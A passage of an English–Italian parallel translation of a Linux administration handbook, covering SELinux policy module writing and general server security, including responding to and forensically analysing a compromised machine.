it-IT: Ogni interfaccia deve generare un insieme valido di regole che può essere incluso in un file <filename>.te</filename>. Si deve perciò dichiarare tutti i tipi che si usano (con la macro <literal>gen_require</literal>), e usare direttive standard per concedere i diritti. Da notare, comunque, che si possono utilizzare le interfacce fornite dagli altri moduli. Nella prossima sezione si approfondirà maggiormente come esprimere questi diritti.

en: <filename>example.if</filename> File
it-IT: File <filename>example.if</filename>

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
it-IT: <emphasis>DOCUMENTAZIONE</emphasis> Spiegazioni in merito alla <emphasis>politica di riferimento</emphasis>

en: Writing a <filename>.te</filename> File
it-IT: Scrivere un file <filename>.te</filename>

en: Have a look at the <filename>example.te</filename> file:
it-IT: Osservare il file <filename>example.te</filename>:

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
it-IT: <emphasis>APPROFONDIMENTI</emphasis> Il linguaggio macro <command>m4</command>

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
it-IT: Per strutturare in modo appropriato la politica, gli sviluppatori di SELinux utilizzano un processore di comandi macro. Invece di duplicare molte direttive <emphasis>allow</emphasis> simili, creano «funzioni macro» per sfruttare una logica a più alto livello, che si traduce anche in una politica maggiormente comprensibile.

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
it-IT: In pratica, per compilare queste regole viene usato <command>m4</command>. Con esso si esegue l'operazione opposta: si espandono tutte le direttive ad alto livello in un enorme database di direttive <emphasis>allow</emphasis>.

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
it-IT: Le «interfacce» di SELinux sono semplicemente funzioni macro che vengono sostituite da un insieme di regole al momento della loro compilazione. Allo stesso modo, alcuni diritti sono in realtà gruppi di diritti che vengono sostituiti dai loro valori in fase di compilazione.

en: The module must be identified by its name and version number. This directive is required.
it-IT: Il modulo dev'essere identificato da nome e numero di versione. Questa direttiva è obbligatoria.

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
it-IT: Se il modulo introduce nuovi tipi, deve dichiararli con direttive come questa. Non bisogna esitare a creare tanti tipi quanti necessari piuttosto che concedere troppi inutili diritti.

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
it-IT: Queste interfacce definiscono il tipo <literal>miaapp_t</literal> come un dominio di processo che deve essere usato da ogni eseguibile etichettato con <literal>miaapp_exec_t</literal>. Implicitamente, ciò aggiunge l'attributo <literal>exec_type</literal> a tutti questi soggetti, che a loro volta permettono ad altri moduli di concedere i diritti di esecuzione su questi programmi: per esempio, il modulo <literal>userdomain</literal> concede ai processi con dominio <literal>user_t</literal>, <literal>staff_t</literal> e <literal>sysadm_t</literal> di eseguirli. I domini di altre applicazioni circoscritte non avranno i diritti di eseguirli, finché le regole non concedono loro diritti simili (è questo il caso, per esempio, di <command>dpkg</command> con il relativo dominio <literal>dpkg_t</literal>).

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
it-IT: La direttiva <literal>allow</literal> è la direttiva base per autorizzare un'operazione. Il primo parametro è il dominio del processo a cui è concessa l'esecuzione dell'operazione. Il secondo definisce l'oggetto che un processo del primo dominio può manipolare. Questo parametro si definisce come «<replaceable>tipo</replaceable>:<replaceable>classe</replaceable>» dove <replaceable>tipo</replaceable> è il proprio tipo SELinux e <replaceable>classe</replaceable> descrive la natura dell'oggetto (file, directory, socket, fifo, ecc.). Infine, l'ultimo parametro descrive i permessi (le operazioni consentite).

en: Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them.
it-IT: I permessi sono definiti come un insieme di operazioni consentite e seguono questo modello: <literal>{ <replaceable>operazione1</replaceable> <replaceable>operazione2</replaceable> }</literal>. Si possono usare comunque anche macro che rappresentano i permessi più comuni. L'elenco si trova in <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename>.

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
it-IT: Ora si deve trovare l'insieme minimo di regole necessarie per assicurare che l'applicazione o il servizio in questione funzioni correttamente. Per ottenere ciò, bisogna avere una buona conoscenza di come funziona l'applicazione e di che genere di dati vengono gestiti e/o prodotti.

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
it-IT: È comunque possibile un approccio empirico. Una volta che i soggetti rilevanti sono stati correttamente etichettati, si può usare l'applicazione in modalità permissiva: che verrebbero bloccate vengono registrate ma vengono comunque eseguite. Analizzando i log, si possono identificare le operazioni da consentire. Questo è un esempio di una di queste voci di log:

en: To better understand this message, let us study it piece by piece.
it-IT: Per comprendere meglio questo messaggio, studiamolo pezzo per pezzo.

en: Analysis of an SELinux trace
it-IT: Analisi di un tracciamento di SELinux

en: Message
it-IT: Messaggio

en: Description
it-IT: Descrizione

en: An operation has been denied.
it-IT: Un'operazione è stata negata.

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
it-IT: Questa operazione ha richiesto i permessi di <literal>lettura</literal> e <literal>scrittura</literal>.

en: The process with PID 1876 executed the operation (or tried to execute it).
it-IT: Il processo con PID 1876 ha eseguito l'operazione (o ha tentato di eseguirla).

en: The process was an instance of the <literal>syslogd</literal> program.
it-IT: Il processo era un'istanza del programma <literal>syslogd</literal>.

en: The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead.
it-IT: L'oggetto di destinazione è stato chiamato <literal>xconsole</literal>. A volte invece si può avere - con il percorso completo - anche un "percorso" variabile.

en: The object is identified by the inode number 5510.
it-IT: L'oggetto è identificato dall'inode numero 5510.

en: This is the security context of the process who executed the operation.
it-IT: Questo è il contesto di sicurezza del processo che ha eseguito l'operazione.

en: This is the security context of the target object.
it-IT: Questo è il contesto di sicurezza dell'oggetto di destinazione.

en: The target object is a FIFO file.
it-IT: L'oggetto di destinazione è un file FIFO.

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
it-IT: <emphasis>COMPLEMENTI</emphasis> Nessun ruolo nelle regole della politica

en: <primary>Type Enforcement</primary>
it-IT: <primary>Tipo Applicazione</primary>

en: <primary>Enforcement, Type Enforcement</primary>
it-IT: <primary>Applicazione, Tipo Applicazione</primary>

en: It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights.
it-IT: Può sembrare strano che i ruoli non compaiano per nulla nella creazione di nuove regole. SELinux utilizza solo i domini per capire quali operazioni sono permesse. Il ruolo interviene solo indirettamente dando la possibilità all'utente di passare ad un altro dominio. SELinux è basato sulla teoria nota come <emphasis>Type Enforcement</emphasis> e il tipo è il solo elemento che conta quando si concedono i diritti.

en: Compiling the Files
it-IT: Compilare i file

en: Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, rename them to <filename>myapp.<replaceable>extension</replaceable></filename> and run <command>make NAME=devel</command> to generate a module in the <filename>myapp.pp</filename> file (you can immediately load it with <command>semodule -i myapp.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files.
it-IT: Una volta che i 3 file (<filename>example.if</filename>, <filename>example.fc</filename> e <filename>example.te</filename>) corrispondono alle proprie aspettative per le nuove regole, rinominateli in <filename>myapp.<replaceable>extension</replaceable></filename> e lanciare <command>make NAME=devel</command> per generare un modulo nel file <filename>myapp.pp</filename> (può essere immediatamente caricato con <command>semodule -i myapp.pp</command>). Se sono definiti diversi moduli, <command>make</command> creerà tutti i rispettivi file <filename>.pp</filename>.

en: Other Security-Related Considerations
it-IT: Altre considerazioni relative alla sicurezza

en: Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
it-IT: La sicurezza non è un problema tecnico; più di ogni altra cosa, si tratta di buone pratiche e di comprensione dei rischi. Questa sezione esamina alcuni dei rischi più comuni, così come alcune delle migliori pratiche che, a seconda dei casi, aumentano il livello di sicurezza o limitano l'impatto di un attacco subito.

en: Inherent Risks of Web Applications
it-IT: Rischi intrinseci delle applicazioni web

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
it-IT: Il carattere universale delle applicazioni web ha aiutato la loro proliferazione. Spesso ne sono in esecuzione parecchie in parallelo: webmail, wiki, sistemi collaborativi, gallerie di foto, blog e così via. Molte di queste applicazioni si basano sullo stack «LAMP» (<emphasis>Linux, Apache, MySQL, PHP</emphasis>). Sfortunatamente, molte di queste applicazioni sono state anche scritte senza sufficiente considerazione dei problemi di sicurezza. I dati provenienti dall'esterno vengono, troppo spesso, acquisiti con poca o nessuna validazione. Possono essere forniti valori creati appositamente per stravolgere l'invocazione di un comando in modo tale che un altro venga eseguito al suo posto. La maggior parte dei problemi più comuni sono stati risolti col passare del tempo, ma regolarmente se ne presentano di nuovi.

en: <emphasis>VOCABULARY</emphasis> SQL injection
it-IT: <emphasis>VOCABOLARIO</emphasis> SQL injection

en: Knowing What To Expect
it-IT: Sapere cosa aspettarsi

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
it-IT: Una vulnerabilità in un'applicazione web è spesso usata come punto di partenza per un tentativo di attacco. Quello che segue è una breve rassegna delle possibili conseguenze.

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
it-IT: <emphasis>APPROFONDIMENTI</emphasis> Filtrare le richieste HTTP

en: Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.
it-IT: Apache 2 include moduli che permettono di filtrare le richieste HTTP. Questi permettono di bloccare alcuni vettori d'attacco. Per esempio, si può prevenire un buffer overflow limitando la lunghezza dei parametri. Più in generale, si può validare i parametri prima che vengano passati all'applicazione web e limitare l'accesso con vari criteri. Questo approccio può anche essere combinato con aggiornamenti dinamici dei firewall, in modo tale che un client che viola una delle regole è escluso dall'accesso al server web per un dato periodo di tempo.

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
it-IT: Impostare questi controlli può essere un compito lungo e laborioso, ma può ripagare quando l'applicazione web che dev'essere installata ha seguito uno sviluppo incerto per quanto riguarda la sicurezza.

en: <emphasis>mod-security2</emphasis> (in the <emphasis role="pkg">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role="pkg">modsecurity-crs</emphasis> package) that you can easily enable.
it-IT: <emphasis>mod-security2</emphasis> (nel pacchetto <emphasis role="pkg">libapache2-mod-security2</emphasis>) è il principale di tali moduli. Viene fornito anche con molte regole già pronte all'uso (nel pacchetto <emphasis role="pkg">modsecurity-crs</emphasis>) che possono essere facilmente abilitate.

en: A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
it-IT: Un attaccante più esperto va oltre. Uno scenario disastroso può presentarsi nella seguente maniera: chi attacca acquisisce la capacità di eseguire comandi come utente <literal>www-data</literal>, ma l'esecuzione di un comando richiede molte manipolazioni. Per avere vita più facile, installa altre applicazioni web progettate appositamente per eseguire da remoto varie tipologie di comandi, ad esempio l'esplorazione del file system, la gestione delle autorizzazioni, il caricamento o lo scaricamento di file, l'esecuzione di comandi, e talvolta l'apertura di una shell di rete. Spesso, la vulnerabilità permette di lanciare il comando <command>wget</command> per scaricare un qualche tipo di malware in <filename>/tmp/</filename>, per poi eseguirlo. Di solito il malware viene scaricato da un sito web esterno che è stato precedentemente compromesso, per far perdere le tracce e rendere più arduo individuare la reale provenienza dell'attacco.

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
it-IT: A questo punto, chi attacca ha sufficiente libertà di movimento spesso per poter installare un <emphasis>bot</emphasis> IRC (un automa che si connette ad un server IRC e può essere controllato attraverso questo canale). Questo bot viene talvolta usato per condividere file illegali (copie non autorizzate di film o software e così via). Un autore di attacchi ben determinato potrebbe voler spingersi oltre. L'account <literal>www-data</literal> non permette l'accesso completo alla macchina, così chi attacca potrebbe provare a ottenere i privilegi di amministratore. Ora, ciò non dovrebbe essere possibile, ma se l'applicazione web non è aggiornata, può essere che il kernel oppure altri programmi siano anch'essi non aggiornati; questo può essere conseguenza della decisione dell'amministratore che, nonostante sia a conoscenza della vulnerabilità, ha trascurato di aggiornare il sistema dal momento che non sono presenti utenti locali. Chi attacca, quindi, può avvantaggiarsi di questa seconda vulnerabilità per ottenere l'accesso come root.

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
it-IT: <emphasis>VOCABOLARIO</emphasis> Escalation dei privilegi

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
it-IT: Questo termine copre tutto ciò che viene usato per ottenere permessi più ampi di quelli che un utente normalmente dovrebbe avere. Il programma <command>sudo</command> è progettato precisamente con lo scopo di concedere i diritti di amministratore ad alcuni utenti. Ma lo stesso termine è usato anche per descrivere l'atto di un autore di attacchi che sfrutta una vulnerabilità per ottenere diritti non dovuti.

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
it-IT: Questo è uno scenario da incubo che può essere evitato attraverso numerose misure. Le prossime sezioni ne descrivono alcune.

en: Choosing the Software Wisely
it-IT: Scegliere saggiamente il software

en: <emphasis>VOCABULARY</emphasis> Security audit
it-IT: <emphasis>VOCABOLARIO</emphasis> Controlli di sicurezza

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
it-IT: Il controllo di sicurezza è il processo di lettura approfondita e analisi del codice sorgente del software, alla ricerca di possibili vulnerabilità di sicurezza che può contenere. Tali verifiche sono di solito proattive e vengono effettuate per garantire che un programma soddisfi determinati requisiti di sicurezza.

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
it-IT: <emphasis>VOCABOLARIO</emphasis> Zero-day exploit

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
it-IT: Un attacco <emphasis>zero-day exploit</emphasis> è difficile da prevenire; il termine copre una vulnerabilità che non è ancora conosciuta agli autori del programma.

en: Managing a Machine as a Whole
it-IT: Gestire una macchina nel suo complesso

en: Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
it-IT: La maggior parte delle distribuzioni Linux installano per impostazione predefinita un certo numero di servizi Unix e svariati strumenti. I molti casi, questi servizi e strumenti non sono necessari per gli effettivi scopi per cui l'amministratore configura la macchina. Come linea guida generale in termini di sicurezza, è meglio disinstallare il software non necessario. Infatti, non ha senso mettere in sicurezza un server FTP, se può essere sfruttata la vulnerabilità di un altro servizio inutilizzato per ottenere i privilegi di amministratore sull'intera macchina.

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
it-IT: Seguendo lo stesso ragionamento, i firewall sono spesso configurati per permettere l'accesso solo ai servizi che sono destinati ad essere disponibili pubblicamente.

en: Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
it-IT: Gli attuali computer sono sufficientemente potenti da permettere di offrire numerosi servizi sulla stessa macchina fisica. Da un punto di vista economico, tale possibilità è interessante: solo un computer da amministrare, minor consumo energetico e così via. Dal punto di vista della sicurezza, invece, questa scelta può diventare un problema. Un solo servizio compromesso può permettere l'accesso all'intera macchina, che a sua volta può compromettere gli altri servizi offerti. Il rischio può essere limitato isolando i servizi. Ciò si ottiene sia con la virtualizzazione (ogni servizio viene ospitato in una macchina virtuale dedicata o contenitore), sia con AppArmor/SELinux (assegnando ad ogni servizio demone un insieme adeguatamente progettato di permessi).

en: Users Are Players
it-IT: Agli utenti piace giocare

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
it-IT: Discutere di sicurezza porta immediatamente alla mente la protezione contro gli attacchi da parte di cracker anonimi che si nascondono nella giungla di Internet; ma un fatto spesso dimenticato è che i rischi vengono anche dall'interno: un dipendente che sta per lasciare l'azienda potrebbe scaricare file sensibili relativi a progetti importanti e venderli alla concorrenza, un venditore negligente potrebbe allontanarsi dalla propria scrivania senza bloccare la sessione durante un meeting con un nuovo potenziale cliente, un utente maldestro potrebbe eliminare la directory sbagliata per errore e così via.

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
it-IT: La risposta a questi rischi può richiedere soluzioni tecniche: bisogna concedere agli utenti solo i permessi necessari, inoltre è d'obbligo pianificare backup regolari. Ma nella maggior parte dei casi, per evitare i rischi la giusta protezione implica insegnare agli utenti come evitare i rischi.

en: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">autolog</emphasis>
it-IT: <emphasis>APPROFONDIMENTI</emphasis> <emphasis role="pkg">autolog</emphasis>

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
it-IT: Il pacchetto <emphasis role="pkg">autolog</emphasis> contiene un programma che disconnette automaticamente gli utenti inattivi dopo un ritardo configurabile. Permette anche di terminare i processi utente che rimangono attivi al termine della sessione, impedendo così agli utenti di eseguire demoni.

en: Physical Security
it-IT: Sicurezza fisica

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
it-IT: Non ha senso mettere in sicurezza i servizi e le reti se i computer stessi non sono protetti. Dati importanti meritano di essere memorizzati su dischi fissi hot-swap in configurazione RAID, perché i dischi fissi prima o poi si guastano e la disponibilità dei dati è d'obbligo. Ma se qualsiasi ragazzo della pizza può entrare nell'edificio, intrufolarsi nella stanza del server e scappare con alcuni dischi rigidi prescelti, allora un importante aspetto di sicurezza non è soddisfatto. Chi può entrare nella stanza del server? È presente un controllo degli accessi? Queste domande meritano una considerazione (e una risposta) quando viene valutata la sicurezza fisica.

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
it-IT: La sicurezza fisica include anche prendere coscienza dei rischi derivanti da incidenti, come ad esempio gli incendi. Questo rischio in particolare è ciò che giustifica l'archiviazione dei supporti di backup in un edificio separato, o almeno in una cassaforte ignifuga.

en: Legal Liability
it-IT: Responsabilità legale

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
it-IT: Un amministratore è, per i suoi utenti così come per gli utenti della rete in generale, una persona più o meno implicitamente fidata. Dovrebbe pertanto evitare qualsiasi negligenza che persone ostili potrebbero sfruttare.

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
it-IT: Quando si presentano queste situazioni, dichiararsi innocenti di solito non basta; per lo meno, sarà necessaria una prova convincente che dimostra un'attività sospetta sul sistema proveniente da un determinato indirizzo IP. Ciò non sarà possibile se si trascurano le raccomandazioni di questo capitolo e si concede all'autore dell'attacca di ottenere l'accesso ad un account privilegiato (in particolare root) per cancellare le proprie tracce.

en: Dealing with a Compromised Machine
it-IT: Gestire una macchina compromessa

en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
it-IT: Nonostante le migliori intenzioni e per quanto attentamente sia stata progettata la politica di sicurezza, un amministratore prima o poi può trovarsi a fronteggiare un attacco. Questa sezione fornisce alcune linee guida su come reagire davanti a queste sfortunate circostanze.

en: Detecting and Seeing the Cracker's Intrusion
it-IT: Rilevare ed esaminare l'intrusione di un cracker

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
it-IT: Il primo passo da intraprendere dopo aver subito un'intrusione è di essere consapevoli di tale atto. Questo non è evidente, soprattutto senza un'adeguata infrastruttura di monitoraggio.

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
it-IT: Un programma installato sotto <filename>/var/tmp/</filename> che è in esecuzione come server web? Nessun dubbio, la macchina è compromessa.

en: This is only one example, but many other hints can ring the administrator's bell:
it-IT: Questo è solo un esempio, ma molti altri indizi possono far suonare il campanello d'allarme all'amministratore:

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
it-IT: l'opzione di un comando che da tempo non funziona più; la versione del software che il comando dichiara che non corrisponde alla versione che si suppone sia installata secondo <command>dpkg</command>;

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
it-IT: il prompt dei comandi o il messaggio di benvenuto della sessione che indica che l'ultima connessione proviene da un server sconosciuto o da un altro continente;

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
it-IT: errori causati da partizioni <filename>/tmp/</filename> che si riempiono, che si scopre essere piene zeppe di copie illegali di film;

en: and so on.
it-IT: e così via.

en: Putting the Server Off-Line
it-IT: Mettere off-line il server

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
it-IT: In tutti i casi tranne in quelli più esotici, l'intrusione arriva dalla rete, e l'autore dell'attacco ha bisogno di una connessione di rete attiva per raggiungere i suoi scopi (accedere a dati confidenziali, condividere file illegali, nascondere la sua identità usando la macchina come ripetitore e così via). Staccare il computer dalla rete impedirà a chi attacca di raggiungere questi obiettivi, se ancora non è riuscito a farlo.

en: Keeping Everything that Could Be Used as Evidence
it-IT: Mantenere tutto ciò che può essere usato come prova

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
it-IT: Individuare l'intrusione e/o iniziare azioni legali contro gli autori degli attacchi richiede il salvataggio di copie di tutti gli elementi importanti; questo include il contenuto dell'hard disk, la lista di tutti i processi in esecuzione e un elenco di tutte le connessioni aperte. Può essere utile allo scopo anche il contenuto della RAM, ma in pratica è raramente utilizzato.

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
it-IT: Nel bel mezzo dell'azione, gli amministratori sono spesso tentati dall'effettuare maggiori controlli sulla macchina compromessa; di solito non è una buona idea. Ogni comando è potenzialmente contraffatto e può coprire alcune prove. I controlli dovrebbero essere limitati ad un inseme minimo (<command>netstat -tupan</command> per le connessioni di rete, <command>ps auxf</command> per un elenco dei processi, <command>ls -alR /proc/[0-9]*</command> per un qualche informazione in più sui programmi in esecuzione) ed ogni controllo effettuato potrebbe essere accuratamente registrato.

en: <emphasis>CAUTION</emphasis> Hot analysis
it-IT: <emphasis>ATTENZIONE</emphasis> Analisi a caldo

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
it-IT: Se è comunque richiesta un'analisi a caldo, occorre prestare attenzione ad utilizzare solo programmi della cui bontà si è certi. Un buon modo per farlo è quello di avere un CD di ripristino con programmi originali, oppure una risorsa di rete condivisa in sola lettura. Comunque, anche queste contromisure possono essere insufficienti se il kernel stesso è compromesso.

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
it-IT: Una volta che gli elementi «dinamici» sono stati salvati, il passo successivo consiste nell'archiviare un'immagine completa dell'hard-disk. È impossibile generare l'immagine se il file system è in continua evoluzione, motivo per cui dev'essere rimontato in sola lettura. La soluzione più semplice spesso è di spegnere brutalmente il sistema (dopo aver lanciato <command>sync</command>) e riavviarlo da un CD di ripristino. Bisogna copiare ogni partizione con uno strumento tipo <command>dd</command>; bisogna spedire le immagini ad un altro server (eventualmente con il conveniente strumento <command>nc</command>). Un'altra possibilità potrebbe essere ancora più semplice: rimuovere proprio il disco dalla macchina e sostituirlo con uno che può essere formattato e reinstallato.

en: Re-installing
it-IT: Re-installare

en: The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
it-IT: Non bisogna riportare online il server senza una reinstallazione completa. Se i danni procurati sono gravi (sono stati ottenuti i privilegi di amministrazione), non c'è modo di essere sicuri di essersi liberati da tutto ciò che l'autore dell'attacco può aver lasciato alle spalle (in particolare <emphasis>backdoor</emphasis>). Sicuramente, bisogna applicare tutti gli aggiornamenti di sicurezza per sanare la vulnerabilità utilizzata da chi ha fatto l'attacco. Idealmente, l'analisi dell'attacco porta a rilevare il modo in cui esso è avvenuto, così si può essere sicuri di risolverlo; altrimenti, si può solo sperare che la vulnerabilità sia una di quelle risolte dagli aggiornamenti.

en: Forensic Analysis
it-IT: Analisi forensi

en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
